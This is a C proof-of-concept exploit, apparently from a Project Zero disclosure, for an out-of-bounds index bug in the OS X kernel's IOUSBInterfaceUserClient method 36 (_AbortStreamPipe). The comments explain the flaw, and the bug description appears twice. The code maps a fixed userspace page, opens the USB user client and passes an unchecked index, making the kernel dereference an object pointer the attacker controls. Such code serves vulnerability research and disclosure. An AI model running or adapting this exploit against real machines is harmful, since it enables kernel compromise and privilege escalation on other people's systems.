/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=728
External Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe.
It takes two scalar inputs and uses the second one as an array index to read a pointer
to a C++ object without checking the bounds then calls a virtual method on it.
Furthermore there's no check that the array pointer is non-null; if it is then we can get a
controlled offset-from-zero read; since our controlled dword will be multiplied by 8 to
index the array this means we can easily get the kernel to dereference a controllable
userspace address.
In this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from
0x787878780. This poc maps that page to demonstrate control of a kernel object pointer.
tested on MacBookAir5,2 w/10.11.3 (15D21)
*/
// ianbeer
// build: clang -o usb_oob usb_oob.c -framework IOKit
// tested on MacBookAir5,2 w/10.11.3 (15D21)
/*
OS X Kernel code execution due to lack of bounds checking in AppleUSBPipe::Abort
External Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe.
It takes two scalar inputs and uses the second one as an array index to read a pointer
to a C++ object without checking the bounds then calls a virtual method on it.
Furthermore there's no check that the array pointer is non-null; if it is then we can get a
controlled offset-from-zero read; since our controlled dword will be multiplied by 8 to
index the array this means we can easily get the kernel to dereference a controllable
userspace address.
In this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from
0x787878780. This poc maps that page to demonstrate control of a kernel object pointer.
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
void map_payload(uint64_t target_rip) {
uint64_t*** obj_ptr_ptr = (void*)0x0000000787878780;
void* request = (void*)0x0000000787878000;
void* page = mmap(request, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (request != page) {
printf("MAP_FIXED didn't give us the right page\n");
exit(EXIT_FAILURE);
}
memset((void*)page, 'A', 0x1000);
}
uint64_t make_call(mach_port_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = 0xf0f0f0f0;
err = IOConnectCallMethod(
conn,
36,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}
return 0;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
mach_port_t port = get_user_client("IOUSBInterface", 0x0);
map_payload(0xffff414141414141);
make_call(port);
return 0;
}
